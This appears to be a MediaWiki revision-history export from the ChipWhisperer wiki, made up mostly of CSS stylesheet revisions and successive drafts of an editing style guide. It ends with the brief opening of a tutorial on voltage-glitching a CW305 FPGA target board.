border-bottom: 1px solid #abd5f5;<br />
border-radius: 3px;<br />
margin-top: 2.5px;<br />
margin-bottom: 2.5px;<br />
}<br />
<br />
.mw-body h4 {<br />
padding-top: 0.5em;<br />
padding-bottom: 0.5em;<br />
margin-top: 0.5em;<br />
margin-bottom: 0.5em;<br />
margin-left: 0em;<br />
margin-right: 0em;<br />
border-bottom: 1px solid #abd5f5;<br />
border-radius: 3px;<br />
padding:0.2em 0.5em;<br />
vertical-align: top;<br />
border: 1px solid #abd5f5;<br />
background: #c6e0f4;<br />
}<br />
<br />
.mw-collapsible-content {<br />
margin-left: 1em;<br />
}<br />
<br />
/* The following css is for the search page on the newae wiki<br />
*/<br />
.searchresults .headerTree-h2 {<br />
background: inherit;<br />
border: none;<br />
}<br />
<br />
.searchresults h2 {<br />
background: inherit;<br />
border: none;<br />
}<br />
<br />
#mw-searchoptions h4 {<br />
background: inherit;<br />
border: none;<br />
}<br />
<br />
/* Fixes the TOC title */<br />
.toc .headerTree-h2,<br />
.toc h2 {<br />
background:inherit;<br />
border: none;<br />
}<br />
<br />
.toclimit-2 .toclevel-1,<br />
.toclimit-3 .toclevel-2,<br />
.toclimit-4 .toclevel-3,<br />
.toclimit-5 .toclevel-4,<br />
.toclimit-6 .toclevel-5,<br />
.toclimit-7 .toclevel-6 {<br />
display: none!important;<br />
}<br />
<br />
.mobileonly{<br />
display:none!important;<br />
}<br />
.desktoponly{<br />
display:inherit!important;<br />
}<br />
<br />
/* Collapse Toggle container */<br />
.mw-collapsible-toggle{<br />
display: table;<br />
border-collapse: collapse;<br />
width: 100%;<br />
}<br />
<br />
.mw-collapsible-toggle-row{<br />
display: table-row;<br />
}<br />
<br />
/* Collapse Header should be on the left */<br />
.mw-collapsible-toggle .mw-collapsible-toggle-header{<br />
display: table-cell;<br />
vertical-align: middle;<br />
padding-left:5px!important; <br />
}<br />
<br />
/* Collapse indicator image should be inline. align wherever you would like */<br />
.mw-collapsible-toggle .mw-collapsible-toggle-indicator{<br />
display: table-cell;<br />
vertical-align: middle;<br />
padding: 5px;<br />
text-align: right;<br />
}<br />
<br />
/* Collapse indicator image size should be something sane*/<br />
.mw-collapsible-toggle .mw-collapsible-toggle-indicator img{<br />
height: 20px !important; <br />
width: 20px !important;<br />
}<br />
<br />
/* Collapse indicator image should rotate when toggled*/<br />
.mw-collapsible:not(.mw-collapsed) .mw-collapsible-toggle .mw-collapsible-toggle-indicator img{<br />
/* Safari */<br />
-webkit-transform: rotate(90deg);<br />
<br />
/* Firefox */<br />
-moz-transform: rotate(90deg);<br />
<br />
/* IE */<br />
-ms-transform: rotate(90deg);<br />
<br />
/* Opera */<br />
-o-transform: rotate(90deg);<br />
<br />
/* Internet Explorer */<br />
filter: progid:DXImageTransform.Microsoft.BasicImage(rotation=1);<br />
}<br />
<br />
.force-expand {<br />
display:inherit!important;<br />
}<br />
.force-collapse {<br />
display:none!important;<br />
}<br />
<br />
/*collapsible lower h top margin*/<br />
.mw-collapsible-toggle-header h1,.mw-collapsible-toggle-header h2,.mw-collapsible-toggle-header h3,.mw-collapsible-toggle-header h4,.mw-collapsible-toggle-header h5,.mw-collapsible-toggle-header h6 {<br />
margin-top:5px!important;<br />
}<br />
<br />
/*infobox stuff*/<br />
<br />
/* Infobox template style */<br />
.infobox {<br />
border: 1px solid #a2a9b1;<br />
border-spacing: 3px;<br />
background-color: #f8f9fa;<br />
color: black;<br />
/* @noflip */<br />
margin: 0.5em 0 0.5em 1em;<br />
padding: 0.2em;<br />
/* @noflip */<br />
float: right;<br />
/* @noflip */<br />
clear: right;<br />
font-size: 88%;<br />
line-height: 1.5em;<br />
}<br />
.infobox caption {<br />
font-size: 125%;<br />
font-weight: bold;<br />
padding: 0.2em;<br />
}<br />
.infobox td,<br />
.infobox th {<br />
vertical-align: top;<br />
/* @noflip */<br />
text-align: left;<br />
}<br />
.infobox.bordered {<br />
border-collapse: collapse;<br />
}<br />
.infobox.bordered td,<br />
.infobox.bordered th {<br />
border: 1px solid #a2a9b1;<br />
}<br />
.infobox.bordered .borderless td,<br />
.infobox.bordered .borderless th {<br />
border: 0;<br />
}<br />
<br />
.infobox.sisterproject {<br />
width: 20em;<br />
font-size: 90%;<br />
}<br />
<br />
.infobox.standard-talk {<br />
border: 1px solid #c0c090;<br />
background-color: #f8eaba;<br />
}<br />
.infobox.standard-talk.bordered td,<br />
.infobox.standard-talk.bordered th {<br />
border: 1px solid #c0c090;<br />
}<br />
<br />
/* styles for bordered infobox with merged rows */<br />
.infobox.bordered .mergedtoprow td,<br />
.infobox.bordered .mergedtoprow th {<br />
border: 0;<br />
border-top: 1px solid #a2a9b1;<br />
/* @noflip */<br />
border-right: 1px solid #a2a9b1;<br />
}<br />
<br />
.infobox.bordered .mergedrow td,<br />
.infobox.bordered .mergedrow th {<br />
border: 0;<br />
/* @noflip */<br />
border-right: 1px solid #a2a9b1;<br />
}<br />
<br />
/* Styles for geography infoboxes, eg countries,<br />
country subdivisions, cities, etc. */<br />
.infobox.geography {<br />
border-collapse: collapse;<br />
line-height: 1.2em;<br />
font-size: 90%;<br />
}<br />
<br />
.infobox.geography td,<br />
.infobox.geography th {<br />
border-top: 1px solid #a2a9b1;<br />
padding: 0.4em 0.6em 0.4em 0.6em;<br />
}<br />
.infobox.geography .mergedtoprow td,<br />
.infobox.geography .mergedtoprow th {<br />
border-top: 1px solid #a2a9b1;<br />
padding: 0.4em 0.6em 0.2em 0.6em;<br />
}<br />
<br />
.infobox.geography .mergedrow td,<br />
.infobox.geography .mergedrow th {<br />
border: 0;<br />
padding: 0 0.6em 0.2em 0.6em;<br />
}<br />
<br />
.infobox.geography .mergedbottomrow td,<br />
.infobox.geography .mergedbottomrow th {<br />
border-top: 0;<br />
border-bottom: 1px solid #a2a9b1;<br />
padding: 0 0.6em 0.4em 0.6em;<br />
}<br />
<br />
.infobox.geography .maptable td,<br />
.infobox.geography .maptable th {<br />
border: 0;<br />
padding: 0;<br />
}</div>Fheubachhttp://wiki.newae.com/index.php?title=Style_Guide&diff=3518Style Guide2018-05-01T20:42:14Z<p>Fheubach: </p>
<hr />
<div>When editing the ChipWhisperer wiki, there are some general guidelines that should be followed. This page covers most of these guidelines.<br />
<br />
{{TOC|limit=3}}<br />
<br />
== Heading Organization ==<br />
* Do not use <code>&lt;h1&gt;</code> tags, this includes the mediawiki syntax <code> = H1 Title = </code> because this should be reserved for the title of the page.<br />
* Use <code>&lt;h2&gt;</code> tags for the main groupings as these will be rendered as the highest level color sections.<br />
{{Greenbox|Use h2 - h6 as you would normally and usually the styling will look just fine. Only when using collapsible sections is it important to read [[:Style Guide#Collapsible Sections|Collapsible Sections]]}}<br />
<pre>== Title of the highest level colored section ==<br />
Some awesome content of this higher level<br />
</pre><br />
<br />
== Collapsible Sections ==<br />
* If you plan on including a page as a collapsible section use <code>&lt;h4&gt;</code> This will render a slightly darker colored section that is contained within the larger colored section.<br />
* <code>&lt;h3&gt;</code> is not left out, it is used for the header that is displayed as the collapsible section's header.<br />
<pre>{{CollapsibleSection<br />
|intro = === Collapsible Section ===<br />
|content= Style Guide/Example Collapsible Section}}<br />
</pre><br />
will render as:<br />
{{CollapsibleSection<br />
|intro = === Collapsible Section ===<br />
|content= Style Guide/Example Collapsible Section}}<br />
<br />
== Including Related Links ==<br />
All tutorials include the tutorials info box at the end of the page using<br />
<pre>== Links ==<br />
{{Template:Tutorials}}<br />
</pre><br />
All target pages include the target info box at the end of the page using<br />
<pre>== Hardware ==<br />
{{Template:Hardware}}<br />
</pre><br />
<br />
== Alert boxes ==<br />
To add a warning/caution box within you content use <pre>{{Warningbox|Approach this with caution}}</pre> <br />
which will render as: <br />
{{Warningbox|Approach this with caution}}<br />
A green/info box is also available, to add this use <pre>{{Greenbox|A quick note for something that is important to read/do}}</pre><br />
this will render as:<br />
{{Greenbox|A quick note for something that is important to read/do}}<br />
<br />
== Info Boxes ==<br />
Target should include an info box on top right side of the page. See [[CW308T-MSP430FR5]] for an example.</div>Fheubachhttp://wiki.newae.com/index.php?title=Style_Guide&diff=3517Style Guide2018-05-01T20:41:16Z<p>Fheubach: </p>
<hr />
<div>When editing the ChipWhisperer wiki, there is a few things that you have to keep in mind. This page covers many of these things.<br />
<br />
{{TOC|limit=3}}<br />
<br />
== Heading Organization ==<br />
* Do not use <code>&lt;h1&gt;</code> tags, this includes the mediawiki syntax <code> = H1 Title = </code> because this should be reserved for the title of the page.<br />
* Use <code>&lt;h2&gt;</code> tags for the main groupings as these will be rendered as the highest level color sections.<br />
{{Greenbox|Use h2 - h6 as you would normally and usually the styling will look just fine. Only when using collapsible sections is it important to read [[:Style Guide#Collapsible Sections|Collapsible Sections]]}}<br />
<pre>== Title of the highest level colored section ==<br />
Some awesome content of this higher level<br />
</pre><br />
<br />
== Collapsible Sections ==<br />
* If you plan on including a page as a collapsible section use <code>&lt;h4&gt;</code> This will render a slightly darker colored section that is contained within the larger colored section.<br />
* <code>&lt;h3&gt;</code> is not left out, it is used for the header that is displayed as the collapsible section's header.<br />
<pre>{{CollapsibleSection<br />
|intro = === Collapsible Section ===<br />
|content= Style Guide/Example Collapsible Section}}<br />
</pre><br />
will render as:<br />
{{CollapsibleSection<br />
|intro = === Collapsible Section ===<br />
|content= Style Guide/Example Collapsible Section}}<br />
<br />
== Including Related Links ==<br />
All tutorials include the tutorials info box at the end of the page using<br />
<pre>== Links ==<br />
{{Template:Tutorials}}<br />
</pre><br />
All target pages include the target info box at the end of the page using<br />
<pre>== Hardware ==<br />
{{Template:Hardware}}<br />
</pre><br />
<br />
== Alert boxes ==<br />
To add a warning/caution box within you content use <pre>{{Warningbox|Approach this with caution}}</pre> <br />
which will render as: <br />
{{Warningbox|Approach this with caution}}<br />
A green/info box is also available, to add this use <pre>{{Greenbox|A quick note for something that is important to read/do}}</pre><br />
this will render as:<br />
{{Greenbox|A quick note for something that is important to read/do}}<br />
<br />
== Info Boxes ==<br />
Target should include an info box on top right side of the page. See [[CW308T-MSP430FR5]] for an example.</div>Fheubachhttp://wiki.newae.com/index.php?title=MediaWiki:Common.css&diff=3516MediaWiki:Common.css2018-05-01T20:17:02Z<p>Fheubach: </p>
<hr />
<div>/* CSS placed here will be applied to all skins */<br />
<br />
/*<br />
.headerTree-h1 {<br />
margin-left: 10px;<br />
}<br />
<br />
.headerTree-h2 {<br />
margin-left: 30px;<br />
}<br />
<br />
.headerTree-h3 {<br />
margin-left: 60px;<br />
}<br />
<br />
.headerTree-h4 {<br />
margin-left: 90px;<br />
}<br />
*/<br />
<br />
/* The following css is to create the blue box organization of the wiki */<br />
.headerTree-h2 {<br />
vertical-align: top;<br />
border: 1px solid #abd5f5;<br />
background: #f1f5fc;<br />
padding: 0.4em 1em 1em; <br />
border-bottom: 1px solid #abd5f5;<br />
border-radius: 3px;<br />
margin-top:2.5px;<br />
margin-bottom:2.5px;<br />
padding-right: 0.5em;<br />
}<br />
<br />
.mw-body h2 {<br />
border-radius: 3px;<br />
padding-top: 0.5em;<br />
padding-bottom: 0.5em;<br />
margin-top: 0.5em;<br />
margin-bottom: 0.5em;<br />
margin-left: 0em;<br />
margin-right: 0em;<br />
border-bottom: 1px solid #abd5f5;<br />
padding:0.2em 0.5em;<br />
vertical-align: top;<br />
border: 1px solid #abd5f5;<br />
background: #d0e5f5;<br />
}<br />
<br />
.mw-collapsible-toggle-header {<br />
border-bottom: 1px solid #aaa;<br />
}<br />
<br />
.headerTree-h4 {<br />
vertical-align: top;<br />
border: 1px solid #abd5f5;<br />
background: #e5eefc;<br />
padding: 0.4em 1em 1em; <br />
border-bottom: 1px solid #abd5f5;<br />
border-radius: 3px;<br />
margin-top: 2.5px;<br />
margin-bottom: 2.5px;<br />
}<br />
<br />
.mw-body h4 {<br />
padding-top: 0.5em;<br />
padding-bottom: 0.5em;<br />
margin-top: 0.5em;<br />
margin-bottom: 0.5em;<br />
margin-left: 0em;<br />
margin-right: 0em;<br />
border-bottom: 1px solid #abd5f5;<br />
border-radius: 3px;<br />
padding:0.2em 0.5em;<br />
vertical-align: top;<br />
border: 1px solid #abd5f5;<br />
background: #c6e0f4;<br />
}<br />
<br />
.mw-collapsible-content {<br />
margin-left: 1em;<br />
}<br />
<br />
/* The following css is for the search page on the newae wiki<br />
*/<br />
.searchresults .headerTree-h2 {<br />
background: #ffffff;<br />
border: none;<br />
}<br />
<br />
.searchresults h2 {<br />
background: #ffffff;<br />
border: none;<br />
}<br />
<br />
#mw-searchoptions h4 {<br />
background: inherit;<br />
border: none;<br />
}<br />
<br />
/* Fixes the TOC title */<br />
.toc .headerTree-h2,<br />
.toc h2 {<br />
background:inherit;<br />
border: none;<br />
}<br />
<br />
.toclimit-2 .toclevel-1,<br />
.toclimit-3 .toclevel-2,<br />
.toclimit-4 .toclevel-3,<br />
.toclimit-5 .toclevel-4,<br />
.toclimit-6 .toclevel-5,<br />
.toclimit-7 .toclevel-6 {<br />
display: none!important;<br />
}<br />
<br />
.mobileonly{<br />
display:none!important;<br />
}<br />
.desktoponly{<br />
display:inherit!important;<br />
}<br />
<br />
/* Collapse Toggle container */<br />
.mw-collapsible-toggle{<br />
display: table;<br />
border-collapse: collapse;<br />
width: 100%;<br />
}<br />
<br />
.mw-collapsible-toggle-row{<br />
display: table-row;<br />
}<br />
<br />
/* Collapse Header should be on the left */<br />
.mw-collapsible-toggle .mw-collapsible-toggle-header{<br />
display: table-cell;<br />
vertical-align: middle;<br />
padding-left:5px!important; <br />
}<br />
<br />
/* Collapse indicator image should be inline. align wherever you would like */<br />
.mw-collapsible-toggle .mw-collapsible-toggle-indicator{<br />
display: table-cell;<br />
vertical-align: middle;<br />
padding: 5px;<br />
text-align: right;<br />
}<br />
<br />
/* Collapse indicator image size should be something sane*/<br />
.mw-collapsible-toggle .mw-collapsible-toggle-indicator img{<br />
height: 20px !important; <br />
width: 20px !important;<br />
}<br />
<br />
/* Collapse indicator image should rotate when toggled*/<br />
.mw-collapsible:not(.mw-collapsed) .mw-collapsible-toggle .mw-collapsible-toggle-indicator img{<br />
/* Safari */<br />
-webkit-transform: rotate(90deg);<br />
<br />
/* Firefox */<br />
-moz-transform: rotate(90deg);<br />
<br />
/* IE */<br />
-ms-transform: rotate(90deg);<br />
<br />
/* Opera */<br />
-o-transform: rotate(90deg);<br />
<br />
/* Internet Explorer */<br />
filter: progid:DXImageTransform.Microsoft.BasicImage(rotation=1);<br />
}<br />
<br />
.force-expand {<br />
display:inherit!important;<br />
}<br />
.force-collapse {<br />
display:none!important;<br />
}<br />
<br />
/*collapsible lower h top margin*/<br />
.mw-collapsible-toggle-header h1,.mw-collapsible-toggle-header h2,.mw-collapsible-toggle-header h3,.mw-collapsible-toggle-header h4,.mw-collapsible-toggle-header h5,.mw-collapsible-toggle-header h6 {<br />
margin-top:5px!important;<br />
}<br />
<br />
/*infobox stuff*/<br />
<br />
/* Infobox template style */<br />
.infobox {<br />
border: 1px solid #a2a9b1;<br />
border-spacing: 3px;<br />
background-color: #f8f9fa;<br />
color: black;<br />
/* @noflip */<br />
margin: 0.5em 0 0.5em 1em;<br />
padding: 0.2em;<br />
/* @noflip */<br />
float: right;<br />
/* @noflip */<br />
clear: right;<br />
font-size: 88%;<br />
line-height: 1.5em;<br />
}<br />
.infobox caption {<br />
font-size: 125%;<br />
font-weight: bold;<br />
padding: 0.2em;<br />
}<br />
.infobox td,<br />
.infobox th {<br />
vertical-align: top;<br />
/* @noflip */<br />
text-align: left;<br />
}<br />
.infobox.bordered {<br />
border-collapse: collapse;<br />
}<br />
.infobox.bordered td,<br />
.infobox.bordered th {<br />
border: 1px solid #a2a9b1;<br />
}<br />
.infobox.bordered .borderless td,<br />
.infobox.bordered .borderless th {<br />
border: 0;<br />
}<br />
<br />
.infobox.sisterproject {<br />
width: 20em;<br />
font-size: 90%;<br />
}<br />
<br />
.infobox.standard-talk {<br />
border: 1px solid #c0c090;<br />
background-color: #f8eaba;<br />
}<br />
.infobox.standard-talk.bordered td,<br />
.infobox.standard-talk.bordered th {<br />
border: 1px solid #c0c090;<br />
}<br />
<br />
/* styles for bordered infobox with merged rows */<br />
.infobox.bordered .mergedtoprow td,<br />
.infobox.bordered .mergedtoprow th {<br />
border: 0;<br />
border-top: 1px solid #a2a9b1;<br />
/* @noflip */<br />
border-right: 1px solid #a2a9b1;<br />
}<br />
<br />
.infobox.bordered .mergedrow td,<br />
.infobox.bordered .mergedrow th {<br />
border: 0;<br />
/* @noflip */<br />
border-right: 1px solid #a2a9b1;<br />
}<br />
<br />
/* Styles for geography infoboxes, eg countries,<br />
country subdivisions, cities, etc. */<br />
.infobox.geography {<br />
border-collapse: collapse;<br />
line-height: 1.2em;<br />
font-size: 90%;<br />
}<br />
<br />
.infobox.geography td,<br />
.infobox.geography th {<br />
border-top: 1px solid #a2a9b1;<br />
padding: 0.4em 0.6em 0.4em 0.6em;<br />
}<br />
.infobox.geography .mergedtoprow td,<br />
.infobox.geography .mergedtoprow th {<br />
border-top: 1px solid #a2a9b1;<br />
padding: 0.4em 0.6em 0.2em 0.6em;<br />
}<br />
<br />
.infobox.geography .mergedrow td,<br />
.infobox.geography .mergedrow th {<br />
border: 0;<br />
padding: 0 0.6em 0.2em 0.6em;<br />
}<br />
<br />
.infobox.geography .mergedbottomrow td,<br />
.infobox.geography .mergedbottomrow th {<br />
border-top: 0;<br />
border-bottom: 1px solid #a2a9b1;<br />
padding: 0 0.6em 0.4em 0.6em;<br />
}<br />
<br />
.infobox.geography .maptable td,<br />
.infobox.geography .maptable th {<br />
border: 0;<br />
padding: 0;<br />
}</div>Fheubachhttp://wiki.newae.com/index.php?title=Style_Guide&diff=3515Style Guide2018-05-01T19:42:14Z<p>Fheubach: </p>
<hr />
<div>When editing the ChipWhisperer wiki, there is a few things that you have to keep in mind. This page covers many of these things.<br />
<br />
== Heading Organization ==<br />
* Do not use <code>&lt;h1&gt;</code> tags, this includes the mediawiki syntax <code> = H1 Title = </code> because this should be reserved for the title of the page.<br />
* Use <code>&lt;h2&gt;</code> tags for the main groupings as these will be rendered as the highest level color sections.<br />
{{Greenbox|Use h2 - h6 as you would normally and usually the styling will look just fine. Only when using collapsible sections is it important to read [[:Style Guide#Collapsible Sections|Collapsible Sections]]}}<br />
<pre>== Title of the highest level colored section ==<br />
Some awesome content of this higher level<br />
</pre><br />
<br />
== Collapsible Sections ==<br />
* If you plan on including a page as a collapsible section use <code>&lt;h4&gt;</code> This will render a slightly darker colored section that is contained within the larger colored section.<br />
* <code>&lt;h3&gt;</code> is not left out, it is used for the header that is displayed as the collapsible section's header.<br />
<pre>{{CollapsibleSection<br />
|intro = === Collapsible Section ===<br />
|content= Style Guide/Example Collapsible Section}}<br />
</pre><br />
will render as:<br />
{{CollapsibleSection<br />
|intro = === Collapsible Section ===<br />
|content= Style Guide/Example Collapsible Section}}<br />
<br />
== Related links at the end of the page ==<br />
All tutorials include the tutorials info box at the end of the page using<br />
<pre>== Links ==<br />
{{Template:Tutorials}}<br />
</pre><br />
All target pages include the target info box at the end of the page using<br />
<pre>== Hardware ==<br />
{{Template:Hardware}}<br />
</pre><br />
<br />
== Alert boxes ==<br />
To add a warning/caution box within you content use <pre>{{Warningbox|Approach this with caution}}</pre> <br />
which will render as: <br />
{{Warningbox|Approach this with caution}}<br />
A green/info box is also available, to add this use <pre>{{Greenbox|A quick note for something that is important to read/do}}</pre><br />
this will render as:<br />
{{Greenbox|A quick note for something that is important to read/do}}</div>Fheubachhttp://wiki.newae.com/index.php?title=Style_Guide&diff=3514Style Guide2018-05-01T19:41:30Z<p>Fheubach: </p>
<hr />
<div>When editing the ChipWhisperer wiki, there is a few things that you have to keep in mind. This page covers many of these things.<br />
<br />
== Heading Organization ==<br />
* Do not use <code>&lt;h1&gt;</code> tags, this includes the mediawiki syntax <code> = H1 Title = </code> because this should be reserved for the title of the page.<br />
* Use <code>&lt;h2&gt;</code> tags for the main groupings as these will be rendered as the highest level color sections.<br />
{{Greenbox|Use h2 - h6 as you would normally and usually the styling will look just fine. Only when using collapsible sections is it more important to read [[:Style Guide#Collapsible Sections|Collapsible Section]]}}<br />
<pre>== Title of the highest level colored section ==<br />
Some awesome content of this higher level<br />
</pre><br />
<br />
== Collapsible Sections ==<br />
* If you plan on including a page as a collapsible section use <code>&lt;h4&gt;</code> This will render a slightly darker colored section that is contained within the larger colored section.<br />
* <code>&lt;h3&gt;</code> is not left out, it is used for the header that is displayed as the collapsible section's header.<br />
<pre>{{CollapsibleSection<br />
|intro = === Collapsible Section ===<br />
|content= Style Guide/Example Collapsible Section}}<br />
</pre><br />
will render as:<br />
{{CollapsibleSection<br />
|intro = === Collapsible Section ===<br />
|content= Style Guide/Example Collapsible Section}}<br />
<br />
== Related links at the end of the page ==<br />
All tutorials include the tutorials info box at the end of the page using<br />
<pre>== Links ==<br />
{{Template:Tutorials}}<br />
</pre><br />
All target pages include the target info box at the end of the page using<br />
<pre>== Hardware ==<br />
{{Template:Hardware}}<br />
</pre><br />
<br />
== Alert boxes ==<br />
To add a warning/caution box within you content use <pre>{{Warningbox|Approach this with caution}}</pre> <br />
which will render as: <br />
{{Warningbox|Approach this with caution}}<br />
A green/info box is also available, to add this use <pre>{{Greenbox|A quick note for something that is important to read/do}}</pre><br />
this will render as:<br />
{{Greenbox|A quick note for something that is important to read/do}}</div>Fheubachhttp://wiki.newae.com/index.php?title=Style_Guide&diff=3513Style Guide2018-05-01T19:34:39Z<p>Fheubach: </p>
<hr />
<div>When editing the ChipWhisperer wiki, there is a few things that you have to keep in mind. This page covers many of these things.<br />
<br />
== Heading Organization ==<br />
* Do not use <code>&lt;h1&gt;</code> tags, this includes the mediawiki syntax <code> = H1 Title = </code> because this should be reserved for the title of the page.<br />
* Use <code>&lt;h2&gt;</code> tags for the main groupings as these will be rendered as the highest level color sections.<br />
<pre>== Title of the highest level colored section ==<br />
Some awesome content of this higher level<br />
</pre><br />
<br />
== Collapsible Sections ==<br />
* If you plan on including a page as a collapsible section use <code>&lt;h4&gt;</code> This will render a slightly darker colored section that is contained within the larger colored section.<br />
* <code>&lt;h3&gt;</code> is not left out, it is used for the header that is displayed as the collapsible section's header.<br />
<pre>{{CollapsibleSection<br />
|intro = === Collapsible Section ===<br />
|content= Style Guide/Example Collapsible Section}}<br />
</pre><br />
will render as:<br />
{{CollapsibleSection<br />
|intro = === Collapsible Section ===<br />
|content= Style Guide/Example Collapsible Section}}<br />
<br />
== Related links at the end of the page ==<br />
All tutorials include the tutorials info box at the end of the page using<br />
<pre>== Links ==<br />
{{Template:Tutorials}}<br />
</pre><br />
All target pages include the target info box at the end of the page using<br />
<pre>== Hardware ==<br />
{{Template:Hardware}}<br />
</pre><br />
<br />
== Alert boxes ==<br />
To add a warning/caution box within you content use <pre>{{Warningbox|Approach this with caution}}</pre> <br />
which will render as: <br />
{{Warningbox|Approach this with caution}}<br />
A green/info box is also available, to add this use <pre>{{Greenbox|A quick note for something that is important to read/do}}</pre><br />
this will render as:<br />
{{Greenbox|A quick note for something that is important to read/do}}</div>Fheubachhttp://wiki.newae.com/index.php?title=Style_Guide&diff=3512Style Guide2018-05-01T19:34:05Z<p>Fheubach: /* Collapsible Sections */</p>
<hr />
<div>When editing the ChipWhisperer wiki, there is a few things that you have to keep in mind. This page covers many of these things.<br />
<br />
== Heading Organization ==<br />
* Do not use <code>&lt;h1&gt;</code> tags, this includes the mediawiki syntax <code> = H1 Title = </code> because this should be reserved for the title of the page.<br />
* Use <code>&lt;h2&gt;</code> tags for the main groupings as these will be rendered as the highest level color sections.<br />
<pre>== Title of the highest level colored section ==<br />
Some awesome content of this higher level<br />
</pre><br />
<br />
== Collapsible Sections ==<br />
* If you plan on including a page as a collapsible section use <code>&lt;h4&gt;</code> This will render a slightly darker colored section that is contained within the larger colored section.<br />
* <code>&lt;h3&gt;</code> is not left out, it is used for the header that is displayed as the collapsible section's header.<br />
<pre>{{CollapsibleSection<br />
|intro = === Collapsible Section ===<br />
|content= Style Guide/Example Collapsible Section}}<br />
</pre><br />
will render as:<br />
<br />
{{CollapsibleSection<br />
|intro = === Collapsible Section ===<br />
|content= Style Guide/Example Collapsible Section}}<br />
<br />
== Related links at the end of the page ==<br />
All tutorials include the tutorials info box at the end of the page using<br />
<pre>== Links ==<br />
{{Template:Tutorials}}<br />
</pre><br />
All target pages include the target info box at the end of the page using<br />
<pre>== Hardware ==<br />
{{Template:Hardware}}<br />
</pre><br />
<br />
== Alert boxes ==<br />
To add a warning/caution box within you content use <pre>{{Warningbox|Approach this with caution}}</pre> <br />
which will render as: <br />
{{Warningbox|Approach this with caution}}<br />
A green/info box is also available, to add this use <pre>{{Greenbox|A quick note for something that is important to read/do}}</pre><br />
this will render as:<br />
{{Greenbox|A quick note for something that is important to read/do}}</div>Fheubachhttp://wiki.newae.com/index.php?title=Style_Guide/Example_Collapsible_Section&diff=3511Style Guide/Example Collapsible Section2018-05-01T19:31:44Z<p>Fheubach: Created page with "==== Section inside a collapsible section ==== Some cool and interesting stuff within this section. ==== Second section inside the same collapsible section ==== The second coo..."</p>
<hr />
<div>==== Section inside a collapsible section ====<br />
Some cool and interesting stuff within this section.<br />
==== Second section inside the same collapsible section ====<br />
The second coolest stuff within the second section.</div>Fheubachhttp://wiki.newae.com/index.php?title=Style_Guide&diff=3510Style Guide2018-05-01T19:28:49Z<p>Fheubach: </p>
<hr />
<div>When editing the ChipWhisperer wiki, there is a few things that you have to keep in mind. This page covers many of these things.<br />
<br />
== Heading Organization ==<br />
* Do not use <code>&lt;h1&gt;</code> tags, this includes the mediawiki syntax <code> = H1 Title = </code> because this should be reserved for the title of the page.<br />
* Use <code>&lt;h2&gt;</code> tags for the main groupings as these will be rendered as the highest level color sections.<br />
<pre>== Title of the highest level colored section ==<br />
Some awesome content of this higher level<br />
</pre><br />
<br />
== Collapsible Sections ==<br />
* If you plan on including a page as a collapsible section use <code>&lt;h4&gt;</code> This will render a slightly darker colored section that is contained within the larger colored section.<br />
* <code>&lt;h3&gt;</code> is not left out, it is used for the header that is displayed as the collapsible section's header.<br />
<br />
== Related links at the end of the page ==<br />
All tutorials include the tutorials info box at the end of the page using<br />
<pre>== Links ==<br />
{{Template:Tutorials}}<br />
</pre><br />
All target pages include the target info box at the end of the page using<br />
<pre>== Hardware ==<br />
{{Template:Hardware}}<br />
</pre><br />
<br />
== Alert boxes ==<br />
To add a warning/caution box within you content use <pre>{{Warningbox|Approach this with caution}}</pre> <br />
which will render as: <br />
{{Warningbox|Approach this with caution}}<br />
A green/info box is also available, to add this use <pre>{{Greenbox|A quick note for something that is important to read/do}}</pre><br />
this will render as:<br />
{{Greenbox|A quick note for something that is important to read/do}}</div>Fheubachhttp://wiki.newae.com/index.php?title=Style_Guide&diff=3509Style Guide2018-05-01T19:26:32Z<p>Fheubach: </p>
<hr />
<div>When editing the ChipWhisperer wiki, there is a few things that you have to keep in mind. This page covers many of these things.<br />
<br />
== Things not to do ==<br />
* Do not use <code>&lt;h1&gt;</code> tags, this includes the mediawiki syntax <code> = H1 Title = </code> because this should be reserved for the title of the page.<br />
<br />
== Things you should do ==<br />
* Use <code>&lt;h2&gt;</code> tags for the main groupings as these will be rendered as the highest level color sections.<br />
<pre>== Title of the highest level colored section ==<br />
Some awesome content of this higher level<br />
</pre><br />
* If you plan on including a page as a collapsible section use <code>&lt;h4&gt;</code> This will render a slightly darker colored section that is contained within the larger colored section.<br />
* <code>&lt;h3&gt;</code> is not left out, it is used for the header that is displayed as the collapsible section's header.<br />
=== Related links at the end of the page ===<br />
All tutorials include the tutorials info box at the end of the page using<br />
<pre>== Links ==<br />
{{Template:Tutorials}}<br />
</pre><br />
All target pages include the target info box at the end of the page using<br />
<pre>== Hardware ==<br />
{{Template:Hardware}}<br />
</pre><br />
=== Alert boxes ===<br />
To add a warning/caution box within you content use <pre>{{Warningbox|Approach this with caution}}</pre> <br />
which will render as: <br />
{{Warningbox|Approach this with caution}}<br />
A green/info box is also available, to add this use <pre>{{Greenbox|A quick note for something that is important to read/do}}</pre><br />
this will render as:<br />
{{Greenbox|A quick note for something that is important to read/do}}</div>Fheubachhttp://wiki.newae.com/index.php?title=Style_Guide&diff=3508Style Guide2018-05-01T19:15:41Z<p>Fheubach: Created page with "When editing the ChipWhisperer wiki, there is a few things that you have to keep in mind. This page covers many of these things. == Things not to do == * Do not use <code>&lt..."</p>
<hr />
<div>When editing the ChipWhisperer wiki, there is a few things that you have to keep in mind. This page covers many of these things.<br />
<br />
== Things not to do ==<br />
* Do not use <code>&lt;h1&gt;</code> tags, this includes the mediawiki syntax <code> = H1 Title = </code> because this should be reserved for the title of the page.<br />
<br />
== Things you should do ==<br />
* Use <code>&lt;h2&gt;</code> tags for the main groupings as these will be rendered as the highest level color sections.<br />
<pre>== Title of the highest level colored section ==<br />
Some awesome content of this higher level<br />
</pre><br />
* If you plan on including a page as a collapsible section use <code>&lt;h4&gt;</code> This will render a slightly darker colored section that is contained within the larger colored section.<br />
* <code>&lt;h3&gt;</code> is not left out, it is used for the header that is displayed as the collapsible section's header.</div>Fheubachhttp://wiki.newae.com/index.php?title=Tutorial_CW305-4_Voltage_Glitching_with_Crowbars&diff=3507Tutorial CW305-4 Voltage Glitching with Crowbars2018-05-01T18:53:10Z<p>Fheubach: </p>
<hr />
<div>Our final goal with the CW305 Artix target is to experiment with voltage glitching. This is the CW305 equivalent of the VCC glitch attack done in [[Tutorial A3 VCC Glitch Attacks]]. <br />
<br />
== Background Information ==<br />
The ChipWhisperer capture hardware comes with a glitch output, which is connected to a power MOSFET in the following configuration:<br />
<br />
(image)<br />
<br />
This circuit allows us to temporarily ground the Artix power rails. If these short-circuit events are timed very precisely, they can cause all kinds of fun effects in the FPGA's operation. <br />
<br />
